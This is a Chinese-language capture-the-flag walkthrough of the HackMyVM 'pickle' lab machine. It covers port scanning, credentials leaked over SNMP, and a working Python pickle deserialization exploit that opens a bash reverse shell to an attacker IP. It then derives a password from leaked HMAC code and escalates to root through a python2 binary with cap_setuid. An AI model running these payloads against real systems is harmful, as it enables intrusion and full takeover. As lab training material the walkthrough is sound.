hackmyvm-pickle
扫描记录
λ zscan -t 192.168.69.16 -p 1-65535
[
]2025/03/07 22:28:47 本次扫描用户屏蔽的端口:[25 110 9100 9101 9102 9103]
Tips: 可以使用-Pn参数关闭存活性探测,将会将所有主机视为存活
[+]2025/03/07 22:28:47 当前环境为:windows, 输出编码为:utf-8
[+]2025/03/07 22:28:47 hydra模块已开启,开始监听暴力破解任务
[ ]2025/03/07 22:28:47 当前已开启的hydra模块为:[ssh rdp ftp smb telnet mysql mssql oracle postgresql mongodb redis]
[+]2025/03/07 22:28:47 成功加载HTTP指纹:[26553]条
[+]2025/03/07 22:28:47 成功加载NMAP探针:[150]个,指纹[11916]条
[ ]2025/03/07 22:28:47 未检测到qqwry.dat,将关闭CDN检测功能,如需开启,请执行kscan --download-qqwry下载该文件
[+]2025/03/07 22:28:48 Domain、IP、Port、URL、Hydra引擎已准备就绪
[+]2025/03/07 22:28:48 所有扫描任务已下发完毕
ftp://192.168.69.16 ftp Port:21,OperatingSystem:Unix,DeviceType:v,Digest:"220(vsFTPd3.0.3)rn",ProductName:vsftpd,Version:3.0.3,Length:20
[+] ftp 192.168.69.16:21:anonymous anonymous
[->].
[->]..
[->]init.py.bak
[+] ftp 192.168.69.16:21:ftp ftp
[->].
[->]..
[->]init.py.bakftp://192.168.69.16 CrackSuccess Password:ftp,Username:ftp,Length:0
snmp://192.168.69.16 snmp Hostname:pickle,Port:161,Length:49,ProductName:SNMPv1server,Info:public,Digest:"0/public"L3V00+pickle
http://192.168.69.16 Port:1337,Digest:"loginwithpropercrede,Length:300
[ ] WebTitle http://192.168.69.16 code:401 len:90 title:None
[debug]主路径扫描结果 [http://192.168.69.16]
[*]2025/03/07 22:30:00 当前存活协程数:Domain:0 个,IP:1 个,Port:242 个,URL:0 个,Hydra:0 个
[+]2025/03/07 22:30:17 程序执行总时长为:[1m30.2725618s]
开了21,161,1337
21里面有代码,1337是http ,161是snmp
代码如下
from functools import wraps
from flask import *
import hashlib
import socket
import base64
import pickle
import hmac
app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")
@app.route('/', methods=["GET", "POST"])
def index_page():
'''
__index_page__()
'''
if request.method == "POST" and request.form["story"] and request.form["submit"]:
md5_encode = hashlib.md5(request.form["story"]).hexdigest()
paths_page = "/opt/project/uploads/%s.log" %(md5_encode)
write_page = open(paths_page, "w")
write_page.write(request.form["story"])
return "The message was sent successfully!"
return render_template("index.html")
@app.route('/reset', methods=["GET", "POST"])
def reset_page():
'''
__reset_page__()
'''
pass
@app.route('/checklist', methods=["GET", "POST"])
def check_page():
'''
__check_page__()
'''
if request.method == "POST" and request.form["check"]:
path_page = "/opt/project/uploads/%s.log" %(request.form["check"])
open_page = open(path_page, "rb").read()
if "p1" in open_page:
open_page = pickle.loads(open_page)
return str(open_page)
else:
return open_page
else:
return "Server Error!"
return render_template("checklist.html")
if name == '__main__':
app.run(host='0.0.0.0', port=1337, debug=True)
可以看到checklist里有个pickle.load 反序列化点,且没有什么waf
但直接访问1337发现要http认证,密码没试出来
检查一下snmp
服务,查看一下怎么打
说是使用snmpwalk -c public -v 1 192.168.69.16 .
ctf@incc:/mnt/c/Users/msthe$ snmpwalk -c public -v 1 192.168.69.16 . iso.3.6.1.2.1.1.1.0 = STRING: "Linux pickle 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64" iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10 iso.3.6.1.2.1.1.3.0 = Timeticks: (139830) 0:23:18.30 iso.3.6.1.2.1.1.4.0 = STRING: "lucas:SuperSecretPassword123!" iso.3.6.1.2.1.1.5.0 = STRING: "pickle" iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay" iso.3.6.1.2.1.1.7.0 = INTEGER: 72
写个pickle反弹shell
#coding:utf-8
import os
import cPickle
import hashlib
import requests
class CommandExecute(object):
def __reduce__(self):
return (eval, ("__import__('os').system('bash -c "exec bash -i &>/dev/tcp/192.168.69.1/4444 <&1"')",))
# return (os.system, ("bash -c 'exec bash -i &>/dev/tcp/192.168.69.1/4444 <&1'",))
convert_data = cPickle.dumps(CommandExecute())
assert 'p1' in convert_data
convert_crypt = hashlib.md5(convert_data).hexdigest()
send_requests = requests.post('http://192.168.69.16:1337/', data={"story":convert_data, "submit":"Submit+Query"}, auth=("lucas", "SuperSecretPassword123!"))
check_requests = requests.post('http://192.168.69.16:1337/checklist', data={"check":convert_crypt}, auth=("lucas", "SuperSecretPassword123!"))
print(check_requests.text)
反弹后,是lunas用户,没有flag,看看app.py源码
from functools import wraps
from flask import *
import hashlib
import socket
import base64
import pickle
import hmac
app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")
def check_auth(username, password):
"""This function is called to check if a username /
password combination is valid.
"""
return username == 'lucas' and password == 'SuperSecretPassword123!'
def authenticate():
"""Sends a 401 response that enables basic auth"""
return Response(
'Could not verify your access level for that URL.n'
'You have to login with proper credentials', 401,
{'WWW-Authenticate': 'Basic realm="Pickle login"'})
def requires_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
auth = request.authorization
if not auth or not check_auth(auth.username, auth.password):
return authenticate()
return f(*args, **kwargs)
return decorated
def index_page():
'''
__index_page__()
'''
if request.method == "POST" and request.form["story"] and request.form["submit"]:
md5_encode = hashlib.md5(request.form["story"]).hexdigest()
paths_page = "/opt/project/uploads/%s.log" %(md5_encode)
write_page = open(paths_page, "w")
write_page.write(request.form["story"])
return "The message was sent successfully!"
return render_template("index.html")
def reset_page():
'''
__reset_page__()
'''
if request.method == "POST" and request.form["username"] and request.form["key"]:
key = "dpff43f3p214k31301"
raw = request.form["username"] + key + socket.gethostbyname(socket.gethostname())
hashed = hmac.new(key, raw, hashlib.sha1)
if request.form["key"] == hashed.hexdigest():
return base64.b64encode(hashed.digest().encode("base64").rstrip("n"))
else:
return "Server Error!"
return render_template("reset.html")
def check_page():
'''
__check_page__()
'''
if request.method == "POST" and request.form["check"]:
path_page = "/opt/project/uploads/%s.log" %(request.form["check"])
open_page = open(path_page, "rb").read()
if "p1" in open_page:
open_page = pickle.loads(open_page)
return str(open_page)
else:
return open_page
else:
return "Server Error!"
return render_template("checklist.html")
def secret_page():
return "Server Error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337, debug=True)
reset返回的东西似乎是密码
可以试一试
import hashlib
import socket
import base64
import hmac
user=['lucas', 'mark']
for i in user:
key = "dpff43f3p214k31301"
raw = i + key + "127.0.1.1"
hashed = hmac.new(key, raw, hashlib.sha1)
print("[+] USER:",i)
print(base64.b64encode(hashed.digest().encode("base64").rstrip("n")))
('[+] USER:', 'lucas') YTdYYTB1cDFQOTBmeEFwclVXZVBpTCtmakx3PQ== ('[+] USER:', 'mark') SUk5enROY2FnUWxnV1BUWFJNNXh4amxhc00wPQ==
别问怎么想到的,看writeup想到的。
拿下user.txt - e25fd1b9248d1786551e3412adc74f6f
找一下提权
find / -perm -4000 -type f 2>/dev/null /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/openssh/ssh-keysign /usr/bin/pkexec /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/mount /usr/bin/passwd /usr/bin/chfn /usr/bin/chsh /usr/bin/umount /usr/bin/su
getcap -r / 2>/dev/null /home/mark/python2 = cap_setuid+ep /usr/bin/ping = cap_net_raw+ep mark@pickle:~$
python2很明显可疑提权
/home/mark/python2 -c 'import os; os.setuid(0); os.system("/bin/bash")'
拿下root.txt-7a32c9739cc63ed983ae01af2577c01c
总结:
-
扫描记录:
-
使用 zscan
工具对 IP192.168.69.16
进行了端口扫描,扫描范围为1-65535
。 -
用户屏蔽了端口 [25, 110, 9100, 9101, 9102, 9103]
。 -
当前环境为 Windows,输出编码为 UTF-8。 -
开启了 hydra
模块,支持暴力破解ssh
,rdp
,ftp
,smb
,telnet
,mysql
,mssql
,oracle
,postgresql
,mongodb
,redis
等服务。 -
成功加载了 HTTP 指纹和 NMAP 探针。 -
未检测到 qqwry.dat
文件,关闭了 CDN 检测功能。 -
扫描结果:
-
发现开放的端口: 21 (FTP)
,161 (SNMP)
,1337 (HTTP)
。 -
FTP 服务运行在 vsftpd 3.0.3
上,支持匿名登录。 -
SNMP 服务返回了主机名 pickle
,并且暴露了密码SuperSecretPassword123!
。 -
HTTP 服务运行在端口 1337
,需要 HTTP 认证。 -
代码分析:
-
HTTP 服务运行了一个 Flask 应用,路径 /checklist
存在反序列化漏洞(pickle.loads
)。 -
通过 SNMP 服务获取了 HTTP 认证的用户名 lucas
和密码SuperSecretPassword123!
。 -
漏洞利用:
-
利用反序列化漏洞,构造了一个反弹 Shell 的 Payload,成功获取了 lunas
用户的 Shell。 -
通过分析 Flask 应用的源码,发现 /reset
路径可以生成密码的 Base64 编码。 -
使用生成的密码成功登录并获取了 mark
用户的权限。 -
提权:
-
发现 /home/mark/python2
具有cap_setuid+ep
权限,利用该权限成功提权至root
。 -
最终获取了 root.txt
文件的内容。
关键点:
- SNMP 信息泄露
:通过 SNMP 服务获取了 HTTP 认证的凭据。 - 反序列化漏洞
:利用 Flask 应用的反序列化漏洞获取了初始 Shell。 - 提权
:通过具有 cap_setuid+ep
权限的 Python 解释器成功提权至root
。
结论:
通过扫描、漏洞利用和提权,成功获取了目标系统的完整控制权限,并获取了 user.txt
和 root.txt
文件的内容。
原文始发于微信公众号(BlueIris):hackmyvm-pickle
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论